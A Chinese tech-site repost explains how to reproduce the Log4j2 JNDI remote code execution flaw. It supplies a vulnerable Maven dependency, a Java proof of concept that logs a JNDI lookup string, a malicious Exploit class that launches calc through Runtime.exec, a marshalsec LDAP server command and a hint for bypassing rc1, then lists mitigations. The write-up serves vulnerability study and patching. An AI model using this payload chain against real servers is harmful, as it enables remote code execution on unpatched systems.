0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

如何复现Log4j2漏洞

马哥Linux运维 来源:马哥Linux运维 2023-02-13 10:55 次阅读

1. 简介

ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。

2. 漏洞概述

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

3. 影响范围

Apache Log4j 2.x <= 2.15.0-rc1

4. 环境搭建

1、创建一个新的maven项目,并导入Log4j的依赖包


org.apache.logging.log4j
log4j-core
2.14.1

漏洞利用

1、使用POC测试

importorg.apache.logging.log4j.LogManager;
importorg.apache.logging.log4j.Logger;
classLogTest{
publicstaticfinalLoggerlogger=LogManager.getLogger();
publicstaticvoidmain(String[]args){
logger.error("${jndi//localhost:8888/Exploit}");
}
}

2、编译一恶意类Exploit.class

首先新建exp.java,然后编译为class文件

classExploit{
static{
System.err.println("Pwned");
try{
Stringcmds="calc";
Runtime.getRuntime().exec(cmds);
}catch(Exceptione){
e.printStackTrace();
}
}
}
javacexp.java

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务

java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit"8888

ed720a4e-aaa3-11ed-bfe3-dac502259ad0.png

4、运行poc.java,即可访问恶意类并执行写在其中的"calc"命令

ed86eff4-aaa3-11ed-bfe3-dac502259ad0.png

结合一些其它 StrLookup 适当变形,以及配合官方测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"可绕过rc1,RC2版本对此异常进行了捕获。

eda76ae0-aaa3-11ed-bfe3-dac502259ad0.png

5. 修复方式

目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 建议同时采用如下临时措施进行漏洞防范:

1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

4)部署使用第三方防火墙产品进行安全防护。

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • JAVA
    +关注

    关注

    19

    文章

    2917

    浏览量

    103363
  • 漏洞
    +关注

    关注

    0

    文章

    203

    浏览量

    15163

原文标题:手把手教你复现 Log4j2 漏洞

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    基于树莓派2 blacktrack的系统漏洞扫描

    本帖最后由 weizhizhou 于 2017-4-30 00:06 编辑 基于树莓派2 blacktrack的系统漏洞扫描对Linux系统开发有5年了,近期在blackberry2
    发表于 04-29 09:59

    PSoC 4系列中的Rootkit漏洞

    大约6个月前,有人发布了PSoC 4设备中明显漏洞的全面解释。该漏洞将允许攻击者将恶意代码加载到Flash中,然后将其标记为保留给监控器,从而允许代码在芯片擦除中生存,并且几乎没有被检测到运行。正如
    发表于 01-09 13:58

    开源鸿蒙 OpenHarmony 获得 CVE 通用漏洞披露编号颁发资质

    和获取解决方案。目前行业通常使用 CVE 编号对漏洞进行追踪,发现者发现漏洞之后通过请求 CVE 号码用于追踪该漏洞,比如之前轰动业界的多个 Apache Log4j 高危
    发表于 08-17 11:34

    slf4j打印日志必须的三个依赖包相关资料推荐

    1、slf4j打印日志必须的三个依赖包  日志相关包 slf4j打印日志必须的三个依赖包  slf4j假设使用log4j做为底层日志工具,运行以上程序需要三个包:  
    发表于 10-19 14:57

    使用ITX-3588J进行多屏异显调试失败怎么办呢

    问题描述及复现步骤:使用官网上的ITX-3588J_Android12_HDMI_220416版本,想调试四屏异显的功能,但是现在连接四个屏幕,只有三个可以点亮使用,第四个屏幕始终无法出来
    发表于 11-14 17:47

    STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影响?

    STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影响?
    发表于 12-07 07:02

    使用XC7160驱动查看内核log出错如何解决呢?

      问题描述及复现步骤:关于xc7160驱动的问题描述:  使用XC7160驱动打开设备没有问题,可以正常显示图像,但是查看内核log发现有问题如下  我们正在实现 一个mIPI的转接板,驱动参考这个进行修改,也是同样的情况,是不是 那三个GPIO管脚,实际中是不起作用的
    发表于 03-29 13:55

    LOG112,LOG2112,pdf(Precision Logarithmic and Log Ratio Ampli

    The LOG112 and LOG2112 are versatile integrated circuits that compute the logarithm or log ratio
    发表于 09-26 01:10 38次下载

    LOG101/LOG104偏流调零电路

    LOG101/LOG104偏流调零电路 如图所示为LOG101/LOG104的偏流调零电路。 LOG101/
    发表于 05-13 16:10 1452次阅读
    <b class='flag-5'>LOG</b>101/<b class='flag-5'>LOG</b>104偏流调零电路

    使用Keysight免费评估Log4j/Log4Shell零日漏洞

    在过去72小时左右的时间里,网络安全领域的大多数人已经意识到Log4j/Log4Shell零日漏洞及其对大多数web服务器、云应用程序、互联网设备和嵌入式设备的广泛影响。你可以阅读CVE-2021-44228中记录的所有血淋淋的
    的头像 发表于 12-21 10:50 1320次阅读

    Log4-detector Log4J漏洞版本扫描器

    log4j-detector.zip
    发表于 05-06 11:55 0次下载
    <b class='flag-5'>Log</b>4-detector <b class='flag-5'>Log</b>4J<b class='flag-5'>漏洞</b>版本扫描器

    log4j-finder Log4Shell漏洞扫描工具

    log4j-finder.zip
    发表于 05-06 11:54 1次下载
    <b class='flag-5'>log</b>4j-finder <b class='flag-5'>Log</b>4Shell<b class='flag-5'>漏洞</b>扫描工具

    fix_log4j2 log4j2漏洞缓解工具

    fix_log4j2.zip
    发表于 05-06 10:22 0次下载
    fix_<b class='flag-5'>log</b>4j2 <b class='flag-5'>log4j2</b><b class='flag-5'>漏洞</b>缓解工具

    华为云VSS漏洞扫描服务为你排除Apache log4j2隐患

    华为云VSS漏洞扫描服务为你排除Apache log4j2隐患 近日Apache Log4j2漏洞持续发酵,已成为中国互联网2021年年底前最大的安全事件。华为云VSS
    的头像 发表于 10-13 13:52 838次阅读
    华为云VSS<b class='flag-5'>漏洞</b>扫描服务为你排除Apache <b class='flag-5'>log4j2</b>隐患

    某些bug正常运行时会出现,当打开串口log时又不再复现怎么办?

    某些bug正常运行时会出现,当打开串口log时又不再复现怎么办? 在开发过程中,我们经常会遇到一些bug。这些bug会对我们的开发造成一定程度的困扰,有时候甚至会让我们的软件崩溃或无法正常运行
    的头像 发表于 10-31 14:37 240次阅读